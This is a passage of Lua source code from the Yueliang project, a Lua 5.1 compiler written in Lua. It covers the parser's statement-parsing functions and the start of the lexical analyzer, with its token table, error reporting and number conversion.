  4197. -- * with dynamic array sizes, MAXEXPWHILE + EXTRAEXP limits imposed by
  4198. -- the function's implementation can be removed
  4199. -- * used in statements()
  4200. ------------------------------------------------------------------------
  4201. function luaY:whilestat(ls, line)
  4202. -- whilestat -> WHILE cond DO block END
  4203. local fs = ls.fs
  4204. local bl = {} -- BlockCnt
  4205. luaX:next(ls) -- skip WHILE
  4206. local whileinit = luaK:getlabel(fs)
  4207. local condexit = self:cond(ls)
  4208. self:enterblock(fs, bl, true)
  4209. self:checknext(ls, "TK_DO")
  4210. self:block(ls)
  4211. luaK:patchlist(fs, luaK:jump(fs), whileinit)
  4212. self:check_match(ls, "TK_END", "TK_WHILE", line)
  4213. self:leaveblock(fs)
  4214. luaK:patchtohere(fs, condexit) -- false conditions finish the loop
  4215. end
  4216.  
  4217. ------------------------------------------------------------------------
  4218. -- parse a repeat-until control structure, body parsed by chunk()
  4219. -- * used in statements()
  4220. ------------------------------------------------------------------------
  4221. function luaY:repeatstat(ls, line)
  4222. -- repeatstat -> REPEAT block UNTIL cond
  4223. local fs = ls.fs
  4224. local repeat_init = luaK:getlabel(fs)
  4225. local bl1, bl2 = {}, {} -- BlockCnt
  4226. self:enterblock(fs, bl1, true) -- loop block
  4227. self:enterblock(fs, bl2, false) -- scope block
  4228. luaX:next(ls) -- skip REPEAT
  4229. self:chunk(ls)
  4230. self:check_match(ls, "TK_UNTIL", "TK_REPEAT", line)
  4231. local condexit = self:cond(ls) -- read condition (inside scope block)
  4232. if not bl2.upval then -- no upvalues?
  4233. self:leaveblock(fs) -- finish scope
  4234. luaK:patchlist(ls.fs, condexit, repeat_init) -- close the loop
  4235. else -- complete semantics when there are upvalues
  4236. self:breakstat(ls) -- if condition then break
  4237. luaK:patchtohere(ls.fs, condexit) -- else...
  4238. self:leaveblock(fs) -- finish scope...
  4239. luaK:patchlist(ls.fs, luaK:jump(fs), repeat_init) -- and repeat
  4240. end
  4241. self:leaveblock(fs) -- finish loop
  4242. end
  4243.  
  4244. ------------------------------------------------------------------------
  4245. -- parse the single expressions needed in numerical for loops
  4246. -- * used in fornum()
  4247. ------------------------------------------------------------------------
  4248. function luaY:exp1(ls)
  4249. local e = {} -- expdesc
  4250. self:expr(ls, e)
  4251. local k = e.k
  4252. luaK:exp2nextreg(ls.fs, e)
  4253. return k
  4254. end
  4255.  
  4256. ------------------------------------------------------------------------
  4257. -- parse a for loop body for both versions of the for loop
  4258. -- * used in fornum(), forlist()
  4259. ------------------------------------------------------------------------
  4260. function luaY:forbody(ls, base, line, nvars, isnum)
  4261. -- forbody -> DO block
  4262. local bl = {} -- BlockCnt
  4263. local fs = ls.fs
  4264. self:adjustlocalvars(ls, 3) -- control variables
  4265. self:checknext(ls, "TK_DO")
  4266. local prep = isnum and luaK:codeAsBx(fs, "OP_FORPREP", base, luaK.NO_JUMP)
  4267. or luaK:jump(fs)
  4268. self:enterblock(fs, bl, false) -- scope for declared variables
  4269. self:adjustlocalvars(ls, nvars)
  4270. luaK:reserveregs(fs, nvars)
  4271. self:block(ls)
  4272. self:leaveblock(fs) -- end of scope for declared variables
  4273. luaK:patchtohere(fs, prep)
  4274. local endfor = isnum and luaK:codeAsBx(fs, "OP_FORLOOP", base, luaK.NO_JUMP)
  4275. or luaK:codeABC(fs, "OP_TFORLOOP", base, 0, nvars)
  4276. luaK:fixline(fs, line) -- pretend that `OP_FOR' starts the loop
  4277. luaK:patchlist(fs, isnum and endfor or luaK:jump(fs), prep + 1)
  4278. end
  4279.  
  4280. ------------------------------------------------------------------------
  4281. -- parse a numerical for loop, calls forbody()
  4282. -- * used in forstat()
  4283. ------------------------------------------------------------------------
  4284. function luaY:fornum(ls, varname, line)
  4285. -- fornum -> NAME = exp1,exp1[,exp1] forbody
  4286. local fs = ls.fs
  4287. local base = fs.freereg
  4288. self:new_localvarliteral(ls, "(for index)", 0)
  4289. self:new_localvarliteral(ls, "(for limit)", 1)
  4290. self:new_localvarliteral(ls, "(for step)", 2)
  4291. self:new_localvar(ls, varname, 3)
  4292. self:checknext(ls, '=')
  4293. self:exp1(ls) -- initial value
  4294. self:checknext(ls, ",")
  4295. self:exp1(ls) -- limit
  4296. if self:testnext(ls, ",") then
  4297. self:exp1(ls) -- optional step
  4298. else -- default step = 1
  4299. luaK:codeABx(fs, "OP_LOADK", fs.freereg, luaK:numberK(fs, 1))
  4300. luaK:reserveregs(fs, 1)
  4301. end
  4302. self:forbody(ls, base, line, 1, true)
  4303. end
  4304.  
  4305. ------------------------------------------------------------------------
  4306. -- parse a generic for loop, calls forbody()
  4307. -- * used in forstat()
  4308. ------------------------------------------------------------------------
  4309. function luaY:forlist(ls, indexname)
  4310. -- forlist -> NAME {,NAME} IN explist1 forbody
  4311. local fs = ls.fs
  4312. local e = {} -- expdesc
  4313. local nvars = 0
  4314. local base = fs.freereg
  4315. -- create control variables
  4316. self:new_localvarliteral(ls, "(for generator)", nvars)
  4317. nvars = nvars + 1
  4318. self:new_localvarliteral(ls, "(for state)", nvars)
  4319. nvars = nvars + 1
  4320. self:new_localvarliteral(ls, "(for control)", nvars)
  4321. nvars = nvars + 1
  4322. -- create declared variables
  4323. self:new_localvar(ls, indexname, nvars)
  4324. nvars = nvars + 1
  4325. while self:testnext(ls, ",") do
  4326. self:new_localvar(ls, self:str_checkname(ls), nvars)
  4327. nvars = nvars + 1
  4328. end
  4329. self:checknext(ls, "TK_IN")
  4330. local line = ls.linenumber
  4331. self:adjust_assign(ls, 3, self:explist1(ls, e), e)
  4332. luaK:checkstack(fs, 3) -- extra space to call generator
  4333. self:forbody(ls, base, line, nvars - 3, false)
  4334. end
  4335.  
  4336. ------------------------------------------------------------------------
  4337. -- initial parsing for a for loop, calls fornum() or forlist()
  4338. -- * used in statements()
  4339. ------------------------------------------------------------------------
  4340. function luaY:forstat(ls, line)
  4341. -- forstat -> FOR (fornum | forlist) END
  4342. local fs = ls.fs
  4343. local bl = {} -- BlockCnt
  4344. self:enterblock(fs, bl, true) -- scope for loop and control variables
  4345. luaX:next(ls) -- skip `for'
  4346. local varname = self:str_checkname(ls) -- first variable name
  4347. local c = ls.t.token
  4348. if c == "=" then
  4349. self:fornum(ls, varname, line)
  4350. elseif c == "," or c == "TK_IN" then
  4351. self:forlist(ls, varname)
  4352. else
  4353. luaX:syntaxerror(ls, self:LUA_QL("=").." or "..self:LUA_QL("in").." expected")
  4354. end
  4355. self:check_match(ls, "TK_END", "TK_FOR", line)
  4356. self:leaveblock(fs) -- loop scope (`break' jumps to this point)
  4357. end
  4358.  
  4359. ------------------------------------------------------------------------
  4360. -- parse part of an if control structure, including the condition
  4361. -- * used in ifstat()
  4362. ------------------------------------------------------------------------
  4363. function luaY:test_then_block(ls)
  4364. -- test_then_block -> [IF | ELSEIF] cond THEN block
  4365. luaX:next(ls) -- skip IF or ELSEIF
  4366. local condexit = self:cond(ls)
  4367. self:checknext(ls, "TK_THEN")
  4368. self:block(ls) -- `then' part
  4369. return condexit
  4370. end
  4371.  
  4372. ------------------------------------------------------------------------
  4373. -- parse an if control structure
  4374. -- * used in statements()
  4375. ------------------------------------------------------------------------
  4376. function luaY:ifstat(ls, line)
  4377. -- ifstat -> IF cond THEN block {ELSEIF cond THEN block} [ELSE block] END
  4378. local fs = ls.fs
  4379. local escapelist = luaK.NO_JUMP
  4380. local flist = self:test_then_block(ls) -- IF cond THEN block
  4381. while ls.t.token == "TK_ELSEIF" do
  4382. escapelist = luaK:concat(fs, escapelist, luaK:jump(fs))
  4383. luaK:patchtohere(fs, flist)
  4384. flist = self:test_then_block(ls) -- ELSEIF cond THEN block
  4385. end
  4386. if ls.t.token == "TK_ELSE" then
  4387. escapelist = luaK:concat(fs, escapelist, luaK:jump(fs))
  4388. luaK:patchtohere(fs, flist)
  4389. luaX:next(ls) -- skip ELSE (after patch, for correct line info)
  4390. self:block(ls) -- 'else' part
  4391. else
  4392. escapelist = luaK:concat(fs, escapelist, flist)
  4393. end
  4394. luaK:patchtohere(fs, escapelist)
  4395. self:check_match(ls, "TK_END", "TK_IF", line)
  4396. end
  4397.  
  4398. ------------------------------------------------------------------------
  4399. -- parse a local function statement
  4400. -- * used in statements()
  4401. ------------------------------------------------------------------------
  4402. function luaY:localfunc(ls)
  4403. local v, b = {}, {} -- expdesc
  4404. local fs = ls.fs
  4405. self:new_localvar(ls, self:str_checkname(ls), 0)
  4406. self:init_exp(v, "VLOCAL", fs.freereg)
  4407. luaK:reserveregs(fs, 1)
  4408. self:adjustlocalvars(ls, 1)
  4409. self:body(ls, b, false, ls.linenumber)
  4410. luaK:storevar(fs, v, b)
  4411. -- debug information will only see the variable after this point!
  4412. self:getlocvar(fs, fs.nactvar - 1).startpc = fs.pc
  4413. end
  4414.  
  4415. ------------------------------------------------------------------------
  4416. -- parse a local variable declaration statement
  4417. -- * used in statements()
  4418. ------------------------------------------------------------------------
  4419. function luaY:localstat(ls)
  4420. -- stat -> LOCAL NAME {',' NAME} ['=' explist1]
  4421. local nvars = 0
  4422. local nexps
  4423. local e = {} -- expdesc
  4424. repeat
  4425. self:new_localvar(ls, self:str_checkname(ls), nvars)
  4426. nvars = nvars + 1
  4427. until not self:testnext(ls, ",")
  4428. if self:testnext(ls, "=") then
  4429. nexps = self:explist1(ls, e)
  4430. else
  4431. e.k = "VVOID"
  4432. nexps = 0
  4433. end
  4434. self:adjust_assign(ls, nvars, nexps, e)
  4435. self:adjustlocalvars(ls, nvars)
  4436. end
  4437.  
  4438. ------------------------------------------------------------------------
  4439. -- parse a function name specification
  4440. -- * used in funcstat()
  4441. ------------------------------------------------------------------------
  4442. function luaY:funcname(ls, v)
  4443. -- funcname -> NAME {field} [':' NAME]
  4444. local needself = false
  4445. self:singlevar(ls, v)
  4446. while ls.t.token == "." do
  4447. self:field(ls, v)
  4448. end
  4449. if ls.t.token == ":" then
  4450. needself = true
  4451. self:field(ls, v)
  4452. end
  4453. return needself
  4454. end
  4455.  
  4456. ------------------------------------------------------------------------
  4457. -- parse a function statement
  4458. -- * used in statements()
  4459. ------------------------------------------------------------------------
  4460. function luaY:funcstat(ls, line)
  4461. -- funcstat -> FUNCTION funcname body
  4462. local v, b = {}, {} -- expdesc
  4463. luaX:next(ls) -- skip FUNCTION
  4464. local needself = self:funcname(ls, v)
  4465. self:body(ls, b, needself, line)
  4466. luaK:storevar(ls.fs, v, b)
  4467. luaK:fixline(ls.fs, line) -- definition 'happens' in the first line
  4468. end
  4469.  
  4470. ------------------------------------------------------------------------
  4471. -- parse a function call with no returns or an assignment statement
  4472. -- * used in statements()
  4473. ------------------------------------------------------------------------
  4474. function luaY:exprstat(ls)
  4475. -- stat -> func | assignment
  4476. local fs = ls.fs
  4477. local v = {} -- LHS_assign
  4478. v.v = {}
  4479. self:primaryexp(ls, v.v)
  4480. if v.v.k == "VCALL" then -- stat -> func
  4481. luaP:SETARG_C(luaK:getcode(fs, v.v), 1) -- call statement uses no results
  4482. else -- stat -> assignment
  4483. v.prev = nil
  4484. self:assignment(ls, v, 1)
  4485. end
  4486. end
  4487.  
  4488. ------------------------------------------------------------------------
  4489. -- parse a return statement
  4490. -- * used in statements()
  4491. ------------------------------------------------------------------------
  4492. function luaY:retstat(ls)
  4493. -- stat -> RETURN explist
  4494. local fs = ls.fs
  4495. local e = {} -- expdesc
  4496. local first, nret -- registers with returned values
  4497. luaX:next(ls) -- skip RETURN
  4498. if self:block_follow(ls.t.token) or ls.t.token == ";" then
  4499. first, nret = 0, 0 -- return no values
  4500. else
  4501. nret = self:explist1(ls, e) -- optional return values
  4502. if self:hasmultret(e.k) then
  4503. luaK:setmultret(fs, e)
  4504. if e.k == "VCALL" and nret == 1 then -- tail call?
  4505. luaP:SET_OPCODE(luaK:getcode(fs, e), "OP_TAILCALL")
  4506. assert(luaP:GETARG_A(luaK:getcode(fs, e)) == fs.nactvar)
  4507. end
  4508. first = fs.nactvar
  4509. nret = self.LUA_MULTRET -- return all values
  4510. else
  4511. if nret == 1 then -- only one single value?
  4512. first = luaK:exp2anyreg(fs, e)
  4513. else
  4514. luaK:exp2nextreg(fs, e) -- values must go to the 'stack'
  4515. first = fs.nactvar -- return all 'active' values
  4516. assert(nret == fs.freereg - first)
  4517. end
  4518. end--if
  4519. end--if
  4520. luaK:ret(fs, first, nret)
  4521. end
  4522.  
  4523. ------------------------------------------------------------------------
  4524. -- initial parsing for statements, calls a lot of functions
  4525. -- * returns boolean instead of 0|1
  4526. -- * used in chunk()
  4527. ------------------------------------------------------------------------
  4528. function luaY:statement(ls)
  4529. local line = ls.linenumber -- may be needed for error messages
  4530. local c = ls.t.token
  4531. if c == "TK_IF" then -- stat -> ifstat
  4532. self:ifstat(ls, line)
  4533. return false
  4534. elseif c == "TK_WHILE" then -- stat -> whilestat
  4535. self:whilestat(ls, line)
  4536. return false
  4537. elseif c == "TK_DO" then -- stat -> DO block END
  4538. luaX:next(ls) -- skip DO
  4539. self:block(ls)
  4540. self:check_match(ls, "TK_END", "TK_DO", line)
  4541. return false
  4542. elseif c == "TK_FOR" then -- stat -> forstat
  4543. self:forstat(ls, line)
  4544. return false
  4545. elseif c == "TK_REPEAT" then -- stat -> repeatstat
  4546. self:repeatstat(ls, line)
  4547. return false
  4548. elseif c == "TK_FUNCTION" then -- stat -> funcstat
  4549. self:funcstat(ls, line)
  4550. return false
  4551. elseif c == "TK_LOCAL" then -- stat -> localstat
  4552. luaX:next(ls) -- skip LOCAL
  4553. if self:testnext(ls, "TK_FUNCTION") then -- local function?
  4554. self:localfunc(ls)
  4555. else
  4556. self:localstat(ls)
  4557. end
  4558. return false
  4559. elseif c == "TK_RETURN" then -- stat -> retstat
  4560. self:retstat(ls)
  4561. return true -- must be last statement
  4562. elseif c == "TK_BREAK" then -- stat -> breakstat
  4563. luaX:next(ls) -- skip BREAK
  4564. self:breakstat(ls)
  4565. return true -- must be last statement
  4566. else
  4567. self:exprstat(ls)
  4568. return false -- to avoid warnings
  4569. end--if c
  4570. end
  4571.  
  4572. ------------------------------------------------------------------------
  4573. -- parse a chunk, which consists of a bunch of statements
  4574. -- * used in parser(), body(), block(), repeatstat()
  4575. ------------------------------------------------------------------------
  4576. function luaY:chunk(ls)
  4577. -- chunk -> { stat [';'] }
  4578. local islast = false
  4579. self:enterlevel(ls)
  4580. while not islast and not self:block_follow(ls.t.token) do
  4581. islast = self:statement(ls)
  4582. self:testnext(ls, ";")
  4583. assert(ls.fs.f.maxstacksize >= ls.fs.freereg and
  4584. ls.fs.freereg >= ls.fs.nactvar)
  4585. ls.fs.freereg = ls.fs.nactvar -- free registers
  4586. end
  4587. self:leavelevel(ls)
  4588. end
  4589.  
  4590. -- }======================================================================
  4591.  
  4592. --[[--------------------------------------------------------------------
  4593.  
  4594. llex.lua
  4595. Lua lexical analyzer in Lua
  4596. This file is part of Yueliang.
  4597.  
  4598. Copyright (c) 2005-2006 Kein-Hong Man <khman@users.sf.net>
  4599. The COPYRIGHT file describes the conditions
  4600. under which this software may be distributed.
  4601.  
  4602. See the ChangeLog for more information.
  4603.  
  4604. ----------------------------------------------------------------------]]
  4605.  
  4606. --[[--------------------------------------------------------------------
  4607. -- Notes:
  4608. -- * intended to 'imitate' llex.c code; performance is not a concern
  4609. -- * tokens are strings; code structure largely retained
  4610. -- * deleted stuff (compared to llex.c) are noted, comments retained
  4611. -- * nextc() returns the currently read character to simplify coding
  4612. -- here; next() in llex.c does not return anything
  4613. -- * compatibility code is marked with "--#" comments
  4614. --
  4615. -- Added:
  4616. -- * luaX:chunkid (function luaO_chunkid from lobject.c)
  4617. -- * luaX:str2d (function luaO_str2d from lobject.c)
  4618. -- * luaX.LUA_QS used in luaX:lexerror (from luaconf.h)
  4619. -- * luaX.LUA_COMPAT_LSTR in luaX:read_long_string (from luaconf.h)
  4620. -- * luaX.MAX_INT used in luaX:inclinenumber (from llimits.h)
  4621. --
  4622. -- To use the lexer:
  4623. -- (1) luaX:init() to initialize the lexer
  4624. -- (2) luaX:setinput() to set the input stream to lex
  4625. -- (3) call luaX:next() or luaX:luaX:lookahead() to get tokens,
  4626. -- until "TK_EOS": luaX:next()
  4627. -- * since EOZ is returned as a string, be careful when regexp testing
  4628. --
  4629. -- Not implemented:
  4630. -- * luaX_newstring: not required by this Lua implementation
  4631. -- * buffer MAX_SIZET size limit (from llimits.h) test not implemented
  4632. -- in the interest of performance
  4633. -- * locale-aware number handling is largely redundant as Lua's
  4634. -- tonumber() function is already capable of this
  4635. --
  4636. -- Changed in 5.1.x:
  4637. -- * TK_NAME token order moved down
  4638. -- * string representation for TK_NAME, TK_NUMBER, TK_STRING changed
  4639. -- * token struct renamed to lower case (LS -> ls)
  4640. -- * LexState struct: removed nestlevel, added decpoint
  4641. -- * error message functions have been greatly simplified
  4642. -- * token2string renamed to luaX_tokens, exposed in llex.h
  4643. -- * lexer now handles all kinds of newlines, including CRLF
  4644. -- * shbang first line handling removed from luaX:setinput;
  4645. -- it is now done in lauxlib.c (luaL_loadfile)
  4646. -- * next(ls) macro renamed to nextc(ls) due to new luaX_next function
  4647. -- * EXTRABUFF and MAXNOCHECK removed due to lexer changes
  4648. -- * checkbuffer(ls, len) macro deleted
  4649. -- * luaX:read_numeral now has 3 support functions: luaX:trydecpoint,
  4650. -- luaX:buffreplace and (luaO_str2d from lobject.c) luaX:str2d
  4651. -- * luaX:read_numeral is now more promiscuous in slurping characters;
  4652. -- hexadecimal numbers was added, locale-aware decimal points too
  4653. -- * luaX:skip_sep is new; used by luaX:read_long_string
  4654. -- * luaX:read_long_string handles new-style long blocks, with some
  4655. -- optional compatibility code
  4656. -- * luaX:llex: parts changed to support new-style long blocks
  4657. -- * luaX:llex: readname functionality has been folded in
  4658. -- * luaX:llex: removed test for control characters
  4659. --
  4660. --------------------------------------------------------------------]]
  4661.  
  4662. luaX = {}
  4663.  
  4664. -- FIRST_RESERVED is not required as tokens are manipulated as strings
  4665. -- TOKEN_LEN deleted; maximum length of a reserved word not needed
  4666.  
  4667. ------------------------------------------------------------------------
  4668. -- "ORDER RESERVED" deleted; enumeration in one place: luaX.RESERVED
  4669. ------------------------------------------------------------------------
  4670.  
  4671. -- terminal symbols denoted by reserved words: TK_AND to TK_WHILE
  4672. -- other terminal symbols: TK_NAME to TK_EOS
  4673. luaX.RESERVED = [[
  4674. TK_AND and
  4675. TK_BREAK break
  4676. TK_DO do
  4677. TK_ELSE else
  4678. TK_ELSEIF elseif
  4679. TK_END end
  4680. TK_FALSE false
  4681. TK_FOR for
  4682. TK_FUNCTION function
  4683. TK_IF if
  4684. TK_IN in
  4685. TK_LOCAL local
  4686. TK_NIL nil
  4687. TK_NOT not
  4688. TK_OR or
  4689. TK_REPEAT repeat
  4690. TK_RETURN return
  4691. TK_THEN then
  4692. TK_TRUE true
  4693. TK_UNTIL until
  4694. TK_WHILE while
  4695. TK_CONCAT ..
  4696. TK_DOTS ...
  4697. TK_EQ ==
  4698. TK_GE >=
  4699. TK_LE <=
  4700. TK_NE ~=
  4701. TK_NAME <name>
  4702. TK_NUMBER <number>
  4703. TK_STRING <string>
  4704. TK_EOS <eof>]]
  4705.  
  4706. -- NUM_RESERVED is not required; number of reserved words
  4707.  
  4708. --[[--------------------------------------------------------------------
  4709. -- Instead of passing seminfo, the Token struct (e.g. ls.t) is passed
  4710. -- so that lexer functions can use its table element, ls.t.seminfo
  4711. --
  4712. -- SemInfo (struct no longer needed, a mixed-type value is used)
  4713. --
  4714. -- Token (struct of ls.t and ls.lookahead):
  4715. -- token -- token symbol
  4716. -- seminfo -- semantics information
  4717. --
  4718. -- LexState (struct of ls; ls is initialized by luaX:setinput):
  4719. -- current -- current character (charint)
  4720. -- linenumber -- input line counter
  4721. -- lastline -- line of last token 'consumed'
  4722. -- t -- current token (table: struct Token)
  4723. -- lookahead -- look ahead token (table: struct Token)
  4724. -- fs -- 'FuncState' is private to the parser
  4725. -- L -- LuaState
  4726. -- z -- input stream
  4727. -- buff -- buffer for tokens
  4728. -- source -- current source name
  4729. -- decpoint -- locale decimal point
  4730. -- nestlevel -- level of nested non-terminals
  4731. ----------------------------------------------------------------------]]
  4732.  
  4733. -- luaX.tokens (was luaX_tokens) is now a hash; see luaX:init
  4734.  
  4735. luaX.MAXSRC = 80
  4736. luaX.MAX_INT = 2147483645 -- constants from elsewhere (see above)
  4737. luaX.LUA_QS = "'%s'"
  4738. luaX.LUA_COMPAT_LSTR = 1
  4739. --luaX.MAX_SIZET = 4294967293
  4740.  
  4741. ------------------------------------------------------------------------
  4742. -- initialize lexer
  4743. -- * original luaX_init has code to create and register token strings
  4744. -- * luaX.tokens: TK_* -> token
  4745. -- * luaX.enums: token -> TK_* (used in luaX:llex)
  4746. ------------------------------------------------------------------------
  4747. function luaX:init()
  4748. local tokens, enums = {}, {}
  4749. for v in string.gmatch(self.RESERVED, "[^\n]+") do
  4750. local _, _, tok, str = string.find(v, "(%S+)%s+(%S+)")
  4751. tokens[tok] = str
  4752. enums[str] = tok
  4753. end
  4754. self.tokens = tokens
  4755. self.enums = enums
  4756. end
  4757.  
  4758. ------------------------------------------------------------------------
  4759. -- returns a suitably-formatted chunk name or id
  4760. -- * from lobject.c, used in llex.c and ldebug.c
  4761. -- * the result, out, is returned (was first argument)
  4762. ------------------------------------------------------------------------
  4763. function luaX:chunkid(source, bufflen)
  4764. local out
  4765. local first = string.sub(source, 1, 1)
  4766. if first == "=" then
  4767. out = string.sub(source, 2, bufflen) -- remove first char
  4768. else -- out = "source", or "...source"
  4769. if first == "@" then
  4770. source = string.sub(source, 2) -- skip the '@'
  4771. bufflen = bufflen - #" '...' "
  4772. local l = #source
  4773. out = ""
  4774. if l > bufflen then
  4775. source = string.sub(source, 1 + l - bufflen) -- get last part of file name
  4776. out = out.."..."
  4777. end
  4778. out = out..source
  4779. else -- out = [string "string"]
  4780. local len = string.find(source, "[\n\r]") -- stop at first newline
  4781. len = len and (len - 1) or #source
  4782. bufflen = bufflen - #(" [string \"...\"] ")
  4783. if len > bufflen then len = bufflen end
  4784. out = "[string \""
  4785. if len < #source then -- must truncate?
  4786. out = out..string.sub(source, 1, len).."..."
  4787. else
  4788. out = out..source
  4789. end
  4790. out = out.."\"]"
  4791. end
  4792. end
  4793. return out
  4794. end
  4795.  
  4796. --[[--------------------------------------------------------------------
  4797. -- Support functions for lexer
  4798. -- * all lexer errors eventually reaches lexerror:
  4799. syntaxerror -> lexerror
  4800. ----------------------------------------------------------------------]]
  4801.  
  4802. ------------------------------------------------------------------------
  4803. -- look up token and return keyword if found (also called by parser)
  4804. ------------------------------------------------------------------------
  4805. function luaX:token2str(ls, token)
  4806. if string.sub(token, 1, 3) ~= "TK_" then
  4807. if string.find(token, "%c") then
  4808. return string.format("char(%d)", string.byte(token))
  4809. end
  4810. return token
  4811. else
  4812. end
  4813. return self.tokens[token]
  4814. end
  4815.  
  4816. ------------------------------------------------------------------------
  4817. -- throws a lexer error
  4818. -- * txtToken has been made local to luaX:lexerror
  4819. -- * can't communicate LUA_ERRSYNTAX, so it is unimplemented
  4820. ------------------------------------------------------------------------
  4821. function luaX:lexerror(ls, msg, token)
  4822. local function txtToken(ls, token)
  4823. if token == "TK_NAME" or
  4824. token == "TK_STRING" or
  4825. token == "TK_NUMBER" then
  4826. return ls.buff
  4827. else
  4828. return self:token2str(ls, token)
  4829. end
  4830. end
  4831. local buff = self:chunkid(ls.source, self.MAXSRC)
  4832. local msg = string.format("%s:%d: %s", buff, ls.linenumber, msg)
  4833. if token then
  4834. msg = string.format("%s near "..self.LUA_QS, msg, txtToken(ls, token))
  4835. end
  4836. -- luaD_throw(ls->L, LUA_ERRSYNTAX)
  4837. error(msg)
  4838. end
  4839.  
  4840. ------------------------------------------------------------------------
  4841. -- throws a syntax error (mainly called by parser)
  4842. -- * ls.t.token has to be set by the function calling luaX:llex
  4843. -- (see luaX:next and luaX:lookahead elsewhere in this file)
  4844. ------------------------------------------------------------------------
  4845. function luaX:syntaxerror(ls, msg)
  4846. self:lexerror(ls, msg, ls.t.token)
  4847. end
  4848.  
  4849. ------------------------------------------------------------------------
  4850. -- move on to next line
  4851. ------------------------------------------------------------------------
  4852. function luaX:currIsNewline(ls)
  4853. return ls.current == "\n" or ls.current == "\r"
  4854. end
  4855.  
  4856. function luaX:inclinenumber(ls)
  4857. local old = ls.current
  4858. -- lua_assert(currIsNewline(ls))
  4859. self:nextc(ls) -- skip '\n' or '\r'
  4860. if self:currIsNewline(ls) and ls.current ~= old then
  4861. self:nextc(ls) -- skip '\n\r' or '\r\n'
  4862. end
  4863. ls.linenumber = ls.linenumber + 1
  4864. if ls.linenumber >= self.MAX_INT then
  4865. self:syntaxerror(ls, "chunk has too many lines")
  4866. end
  4867. end
  4868.  
  4869. ------------------------------------------------------------------------
  4870. -- initializes an input stream for lexing
  4871. -- * if ls (the lexer state) is passed as a table, then it is filled in,
  4872. -- otherwise it has to be retrieved as a return value
  4873. -- * LUA_MINBUFFER not used; buffer handling not required any more
  4874. ------------------------------------------------------------------------
  4875. function luaX:setinput(L, ls, z, source)
  4876. if not ls then ls = {} end -- create struct
  4877. if not ls.lookahead then ls.lookahead = {} end
  4878. if not ls.t then ls.t = {} end
  4879. ls.decpoint = "."
  4880. ls.L = L
  4881. ls.lookahead.token = "TK_EOS" -- no look-ahead token
  4882. ls.z = z
  4883. ls.fs = nil
  4884. ls.linenumber = 1
  4885. ls.lastline = 1
  4886. ls.source = source
  4887. self:nextc(ls) -- read first char
  4888. end
  4889.  
  4890. --[[--------------------------------------------------------------------
  4891. -- LEXICAL ANALYZER
  4892. ----------------------------------------------------------------------]]
  4893.  
  4894. ------------------------------------------------------------------------
  4895. -- checks if current character read is found in the set 'set'
  4896. ------------------------------------------------------------------------
  4897. function luaX:check_next(ls, set)
  4898. if not string.find(set, ls.current, 1, 1) then
  4899. return false
  4900. end
  4901. self:save_and_next(ls)
  4902. return true
  4903. end
  4904.  
  4905. ------------------------------------------------------------------------
  4906. -- retrieve next token, checking the lookahead buffer if necessary
  4907. -- * note that the macro next(ls) in llex.c is now luaX:nextc
  4908. -- * utilized used in lparser.c (various places)
  4909. ------------------------------------------------------------------------
  4910. function luaX:next(ls)
  4911. ls.lastline = ls.linenumber
  4912. if ls.lookahead.token ~= "TK_EOS" then -- is there a look-ahead token?
  4913. -- this must be copy-by-value
  4914. ls.t.seminfo = ls.lookahead.seminfo -- use this one
  4915. ls.t.token = ls.lookahead.token
  4916. ls.lookahead.token = "TK_EOS" -- and discharge it
  4917. else
  4918. ls.t.token = self:llex(ls, ls.t) -- read next token
  4919. end
  4920. end
  4921.  
  4922. ------------------------------------------------------------------------
  4923. -- fill in the lookahead buffer
  4924. -- * utilized used in lparser.c:constructor
  4925. ------------------------------------------------------------------------
  4926. function luaX:lookahead(ls)
  4927. -- lua_assert(ls.lookahead.token == "TK_EOS")
  4928. ls.lookahead.token = self:llex(ls, ls.lookahead)
  4929. end
  4930.  
  4931. ------------------------------------------------------------------------
  4932. -- gets the next character and returns it
  4933. -- * this is the next() macro in llex.c; see notes at the beginning
  4934. ------------------------------------------------------------------------
  4935. function luaX:nextc(ls)
  4936. local c = luaZ:zgetc(ls.z)
  4937. ls.current = c
  4938. return c
  4939. end
  4940.  
  4941. ------------------------------------------------------------------------
  4942. -- saves the given character into the token buffer
  4943. -- * buffer handling code removed, not used in this implementation
  4944. -- * test for maximum token buffer length not used, makes things faster
  4945. ------------------------------------------------------------------------
  4946.  
  4947. function luaX:save(ls, c)
  4948. local buff = ls.buff
  4949. -- if you want to use this, please uncomment luaX.MAX_SIZET further up
  4950. --if #buff > self.MAX_SIZET then
  4951. -- self:lexerror(ls, "lexical element too long")
  4952. --end
  4953. ls.buff = buff..c
  4954. end
  4955.  
  4956. ------------------------------------------------------------------------
  4957. -- save current character into token buffer, grabs next character
  4958. -- * like luaX:nextc, returns the character read for convenience
  4959. ------------------------------------------------------------------------
  4960. function luaX:save_and_next(ls)
  4961. self:save(ls, ls.current)
  4962. return self:nextc(ls)
  4963. end
  4964.  
  4965. ------------------------------------------------------------------------
  4966. -- LUA_NUMBER
  4967. -- * luaX:read_numeral is the main lexer function to read a number
  4968. -- * luaX:str2d, luaX:buffreplace, luaX:trydecpoint are support functions
  4969. ------------------------------------------------------------------------
  4970.  
  4971. ------------------------------------------------------------------------
  4972. -- string to number converter (was luaO_str2d from lobject.c)
  4973. -- * returns the number, nil if fails (originally returns a boolean)
  4974. -- * conversion function originally lua_str2number(s,p), a macro which
  4975. -- maps to the strtod() function by default (from luaconf.h)
  4976. ------------------------------------------------------------------------
  4977. function luaX:str2d(s)
  4978. local result = tonumber(s)
  4979. if result then return result end
  4980. -- conversion failed
  4981. if string.lower(string.sub(s, 1, 2)) == "0x" then -- maybe an hexadecimal constant?
  4982. result = tonumber(s, 16)
  4983. if result then return result end -- most common case
  4984. -- Was: invalid trailing characters?
  4985. -- In C, this function then skips over trailing spaces.
  4986. -- true is returned if nothing else is found except for spaces.
  4987. -- If there is still something else, then it returns a false.
  4988. -- All this is not necessary using Lua's tonumber.
  4989. end
  4990. return nil
  4991. end
  4992.  
  4993. ------------------------------------------------------------------------
  4994. -- single-character replacement, for locale-aware decimal points
  4995. ------------------------------------------------------------------------
  4996. function luaX:buffreplace(ls, from, to)
  4997. local result, buff = "", ls.buff
  4998. for p = 1, #buff do
  4999. local c = string.sub(buff, p, p)
  5000. if c == from then c = to end
  5001. result = result..c
  5002. end
  5003. ls.buff = result
  5004. end
  5005.  
  5006. ------------------------------------------------------------------------
  5007. -- Attempt to convert a number by translating '.' decimal points to
  5008. -- the decimal point character used by the current locale. This is not
  5009. -- needed in Yueliang as Lua's tonumber() is already locale-aware.
  5010. -- Instead, the code is here in case the user implements localeconv().
  5011. ------------------------------------------------------------------------
